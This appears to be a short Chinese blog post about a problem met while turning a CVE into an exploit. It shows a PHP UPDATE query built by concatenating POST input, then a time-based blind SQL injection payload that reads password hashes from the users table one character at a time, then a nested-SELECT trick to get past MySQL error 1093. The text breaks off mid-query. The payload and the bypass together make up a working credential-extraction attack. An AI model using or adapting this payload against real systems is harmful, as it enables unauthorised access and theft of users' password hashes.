记一次mysql盲注遇到的问题

记一次mysql盲注遇到的问题

kalilm 689 2022-03-22

把一个CVE写成EXP的时候遇到了一个问题
目标使用了直接拼接SQL语句的方法进行sql查询
而且使用的是UPDATE方法

sql_query("UPDATE users SET status = 'confirmed', editsecret = '' WHERE id IN (" . implode(", ", $_POST[conusr]) . ") AND status='pending'");

根据拼接的语句 我写出了这样的playload 准备读取数据库中用户表的密码

hash
conusr[]=1) and if(ascii(mid((select group_concat(passhash) from users),%s,1))=%s,sleep(1),0)#

发现执行后报出错误

1093 - You can't specify target table 'users' for update in FROM clause

这里发生了一个非常巧的事情 刚好UPDATE操作的和要select操作的是同一张表
MYSQL不允许更新一张表的条件来自于查询这张表
解决方法:
在外面再套一层select

UPDATE users SET status = 'confirmed', editsecret = '' WHERE id IN (1) and if(ascii(mid((select * from (select group_concat(passhash) from users)as